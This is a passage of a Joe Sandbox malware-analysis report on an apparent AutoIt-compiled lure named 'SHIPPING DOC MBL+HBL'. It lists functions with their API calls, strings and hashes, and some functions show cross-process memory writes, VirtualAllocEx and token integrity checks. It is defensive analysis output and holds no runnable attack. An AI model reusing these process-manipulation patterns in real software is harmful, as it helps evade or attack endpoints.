HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E58408
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E5841E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: f70cde26ba4d04e17bce5e089fd5856116e36d85f7f1c6abb5f1d94dc5eabf1c
Instruction ID: 7c243ac967b44f06d551dc37f0e91f57a01af0b4239d211aae6f8abe3cce5c58
Opcode Fuzzy Hash: f70cde26ba4d04e17bce5e089fd5856116e36d85f7f1c6abb5f1d94dc5eabf1c
Instruction Fuzzy Hash: C4F04F31205305AFEB105FA6DC8DE6B3BACEF89759F100425FD4AE6150DA61DC49EB60

Function 00E58432 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00E58449
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00E58453
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58462
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58469
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E5847F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d18807c80b875cabef408977b73f16265055043b32e5cfbb7fc3995551877c17
Instruction ID: 13f128066bde410a3ac7d58f1ee211e3dbfcf891aecdc2fc640dcaed73eef4d8
Opcode Fuzzy Hash: d18807c80b875cabef408977b73f16265055043b32e5cfbb7fc3995551877c17
Instruction Fuzzy Hash: 33F0A930201305AFEB211FA6EC88E6B3BACEF89759B140429FD09E3150DA60D808EB60

Function 00E5C4A5 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00E5C4B9
GetWindowTextW.USER32(00000000,?,00000100), ref: 00E5C4D0
MessageBeep.USER32(00000000), ref: 00E5C4E8
KillTimer.USER32(?,0000040A), ref: 00E5C504
EndDialog.USER32(?,00000001), ref: 00E5C51E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: c85930352d656497ef3393dbd2c5cc13d72f20689ce86aa775d1a81b5585a8f9
Instruction ID: 278cf45e8f8ca7f9d7dcf6be06a4000af8d232b404aa8f456338025cf81eec36
Opcode Fuzzy Hash: c85930352d656497ef3393dbd2c5cc13d72f20689ce86aa775d1a81b5585a8f9
Instruction Fuzzy Hash: CF01A230400304AFEB215B61DC5EFA677B8FF0470AF100669E986B10E0EBE0A98C8B80

Function 00E013B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00E013BF
StrokeAndFillPath.GDI32(?,?,00E3BA08,00000000,?), ref: 00E013DB
SelectObject.GDI32(?,00000000), ref: 00E013EE
DeleteObject.GDI32 ref: 00E01401
StrokePath.GDI32(?), ref: 00E0141C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: e0af359788ba7016d89806fb691569d9d8b411627e6e3446b13e750e624a2fbb
Instruction ID: b8b0feaad721f917429dfd6e92a44a73260bcc9218df46d21fbce9587d7e1b84
Opcode Fuzzy Hash: e0af359788ba7016d89806fb691569d9d8b411627e6e3446b13e750e624a2fbb
Instruction Fuzzy Hash: 88F0C932004A08EFDB195F27ED4CB583BA5A71132AF189275E429A90F1CB3659DADF50

Function 00E6C423 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00E6C4BE
CoCreateInstance.OLE32(00E92D6C,00000000,00000001,00E92BDC,?), ref: 00E6C4D6

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

CoUninitialize.OLE32 ref: 00E6C743

Strings

.lnk, xrefs: 00E6C452, 00E6C47A, 00E6C484

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 4d0feabbc37fcc375016b5fd68f8fd0b1c7f88440a9c2f7d1c42801ca696c013
Instruction ID: 21c46f02d3da2e7ae8f41c8d6daf67a8ceb001fdda2a43505bb5e9d000859ca8
Opcode Fuzzy Hash: 4d0feabbc37fcc375016b5fd68f8fd0b1c7f88440a9c2f7d1c42801ca696c013
Instruction Fuzzy Hash: 20A12B71208205AFD704EF64C891EABB7F8EF98304F00595DF596A71D2DB70EA89CB52

Function 00E12E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00E20F36: std::exception::exception.LIBCMT ref: 00E20F6C
Part of subcall function 00E20F36: __CxxThrowException@8.LIBCMT ref: 00E20F81

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E07BB1: _memmove.LIBCMT ref: 00E07C0B

__swprintf.LIBCMT ref: 00E1302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00E12EC6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 2a612c9ea74d030e0da86309cc6451a5819c10a21f13bf481f3dc9b2790b2cc5
Instruction ID: 474b4c82e2e159801700366e676d1fd79d648e24fd7cfec0d51c95aa97c7af8e
Opcode Fuzzy Hash: 2a612c9ea74d030e0da86309cc6451a5819c10a21f13bf481f3dc9b2790b2cc5
Instruction Fuzzy Hash: 46915E716083019FCB18EF24D895CAFB7E4EF99700F04691DF495A72A2DA30EE85CB52

Function 00E6B9C7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E048AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E048A1,?,?,00E037C0,?), ref: 00E048CE

CoInitialize.OLE32(00000000), ref: 00E6BA47
CoCreateInstance.OLE32(00E92D6C,00000000,00000001,00E92BDC,?), ref: 00E6BA60
CoUninitialize.OLE32 ref: 00E6BA7D

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

Strings

.lnk, xrefs: 00E6BA29, 00E6BA37

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 98875f112f1399b0a39d1f7dd4a3728bfd635a378582aedb83326b3a9f21027d
Instruction ID: 5248a23f5dd5667f57cea0288df3fe13e1544ddaa3c92d26919d7341c712dc8b
Opcode Fuzzy Hash: 98875f112f1399b0a39d1f7dd4a3728bfd635a378582aedb83326b3a9f21027d
Instruction Fuzzy Hash: DDA155756043019FCB14DF54C884D6ABBE5FF88314F149998F89AAB3A2CB31ED85CB91

Function 00E5B5B5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00E5B780

Strings

Container, xrefs: 00E5B6FD
%, xrefs: 00E5B823
AutoIt3GUI, xrefs: 00E5B6F8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%
API String ID: 3565006973-1286912533
Opcode ID: 1ea00f525998e4d2b08bf427e5e9665771e6949c23be4efc9e3760efbe7d72a3
Instruction ID: 0ebb5d7917b1cd212795b4652868619580c940d4144ecd5e75972250f0da683a
Opcode Fuzzy Hash: 1ea00f525998e4d2b08bf427e5e9665771e6949c23be4efc9e3760efbe7d72a3
Instruction Fuzzy Hash: CD916B70600201AFDB14DF64C885B66BBF9FF48715F10996EF949EB691DBB0E844CB50

Function 00E2518D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00E2521D

Part of subcall function 00E30270: __87except.LIBCMT ref: 00E302AB

Strings

pow, xrefs: 00E251F5, 00E25212

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 314baefdb16c127fcc00ccbec363571648ab4600c1b3574986af097e1d4e4cfe
Instruction ID: 7abb9465ce83a2d0bb122b485b531eea3d5492dac4da250da22865a771f4b2f2
Opcode Fuzzy Hash: 314baefdb16c127fcc00ccbec363571648ab4600c1b3574986af097e1d4e4cfe
Instruction Fuzzy Hash: AF518A23A0DA01DBDB11B714EA593BE6FE49B00714F20AD59E0D1B22F9EF308DC8D646

Function 00E2017B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00E201C0
+, xrefs: 00E201B7

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 784ee1d9c8fb9a0d50d40bfc9dfb4c6b55a93c957b2840a8763a07b80819650e
Instruction ID: 1ed7b676b021283e34c2f894808836c9bf1408602eeaf5ca5a1ea8ba7f78487e
Opcode Fuzzy Hash: 784ee1d9c8fb9a0d50d40bfc9dfb4c6b55a93c957b2840a8763a07b80819650e
Instruction Fuzzy Hash: B4515636504216DFCF15DF28C4986FA7BA4EF55310F142456EC81BB2E2D730AC4ACB60

Function 00E13297 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E133D7
_memmove.LIBCMT ref: 00E13470
_free.LIBCMT ref: 00E13496
_memmove.LIBCMT ref: 00E13549

Strings

Oa, xrefs: 00E13482

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memmove$_free
String ID: Oa
API String ID: 2620147621-3945284152
Opcode ID: 84e6acfc519cf39a4666f707b7d45838735595713fbf38a0b059962178f108f2
Instruction ID: 61de5676d18659bf280429347abd26f4f96126d83a96f4345cc0bd20a934b28c
Opcode Fuzzy Hash: 84e6acfc519cf39a4666f707b7d45838735595713fbf38a0b059962178f108f2
Instruction Fuzzy Hash: F5518AB16083419FDB24CF28D881B6EBBE1FF89314F04592DE999A7351D731E981CB82

Function 00E162F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E163A8
_memmove.LIBCMT ref: 00E16444
_memset.LIBCMT ref: 00E16468

Strings

ERCP, xrefs: 00E16313

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 6378491e3664c39c8d824153a0fba15c2879c9cd9f39facd25515bbb6e23c099
Instruction ID: 467c68c17b73ede9d985a482d988d6072cc544b65f1a593f8f91f83e09815c1f
Opcode Fuzzy Hash: 6378491e3664c39c8d824153a0fba15c2879c9cd9f39facd25515bbb6e23c099
Instruction Fuzzy Hash: B851C371900319DBDB24CF55C9817EAB7F4FF44318F20956EE95AEB281E770AA84CB40

Function 00E59AB7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E617ED: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E59558,?,?,00000034,00000800,?,00000034), ref: 00E61817

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00E59B01

Part of subcall function 00E617B8: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E59587,?,?,00000800,?,00001073,00000000,?,?), ref: 00E617E2

Part of subcall function 00E6170F: GetWindowThreadProcessId.USER32(?,?), ref: 00E6173A
Part of subcall function 00E6170F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00E5951C,00000034,?,?,00001004,00000000,00000000), ref: 00E6174A
Part of subcall function 00E6170F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00E5951C,00000034,?,?,00001004,00000000,00000000), ref: 00E61760

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E59B6E
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E59BBB

Strings

@, xrefs: 00E59BD3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 5a0def9d2681fcec8ca758f374dba77e2a47569bb940f234cb2261a3453227f9
Instruction ID: 35142e0fb061f4cde476e65194e62e137294fd195fa19b75f7548d854f4ba365
Opcode Fuzzy Hash: 5a0def9d2681fcec8ca758f374dba77e2a47569bb940f234cb2261a3453227f9
Instruction Fuzzy Hash: AD418D76900218BFDB11DFA4DC81EDEBBB8EF09300F104099FA55B7191DA706E88CBA0

Function 00E87978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00E8F910,00000000,?,?,?,?), ref: 00E87A11
GetWindowLongW.USER32 ref: 00E87A2E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E87A3E

Strings

SysTreeView32, xrefs: 00E879E3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 3a27b3be1ed2ccddce80e2504ed8a06ce3d09039c39cc6db5fd36b2fe8279211
Instruction ID: 201cb01fb0cab64feec120e7ec456e904c73682982f9ac41ada9714b2b5615d0
Opcode Fuzzy Hash: 3a27b3be1ed2ccddce80e2504ed8a06ce3d09039c39cc6db5fd36b2fe8279211
Instruction Fuzzy Hash: E631D031204606AFDB15AF34CC45BEA77A9EB44328F206725F8BDB21E0D730ED918B50

Function 00E8740B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00E87493
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00E874A7
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E874CB

Strings

SysMonthCal32, xrefs: 00E8745E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 72939447a9e55fccf34356c019ce4778cdffb353a7f8d19d138d45ddaf7d15a9
Instruction ID: e0502e7034c9ba3e1d44b6a07ae87a39c5f3d2a21f97bbd4d80323c1bf97f803
Opcode Fuzzy Hash: 72939447a9e55fccf34356c019ce4778cdffb353a7f8d19d138d45ddaf7d15a9
Instruction Fuzzy Hash: 6E21D332500219AFDF219F90DC42FEA3BA9EF48724F211214FE587B1D0D671E895DB90

Function 00E86CE2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00E86D6D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00E86D7D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00E86DA2

Strings

Listbox, xrefs: 00E86D3A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: e6c2656276eaaf4cf67dea0cd53984ad00ab1c718f8709b4c2ea90dfa121dcfe
Instruction ID: 45d2febd47d039b9c2385661f5655cee245a15da22c82171bc3e07e0050e0de2
Opcode Fuzzy Hash: e6c2656276eaaf4cf67dea0cd53984ad00ab1c718f8709b4c2ea90dfa121dcfe
Instruction Fuzzy Hash: 7B219532610118BFDF11AF54DC45FAB37AAEF89754F119124FA0CBB1D0C671AC5197A0

Function 00E73AFF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00E73B7C

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Strings

%, xrefs: 00E73B0A
AUTOITCALLVARIABLE%d, xrefs: 00E73B6E
, $, xrefs: 00E73BBC

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%
API String ID: 3506404897-3879706725
Opcode ID: 43b4a42395fa2e8a2ab742b69e1663055abd08757b6c3a07ea8f51207e21c208
Instruction ID: bb712a78d4e654144b2627205af80c734b57f84972b1a75a2edcda0d4d2b4385
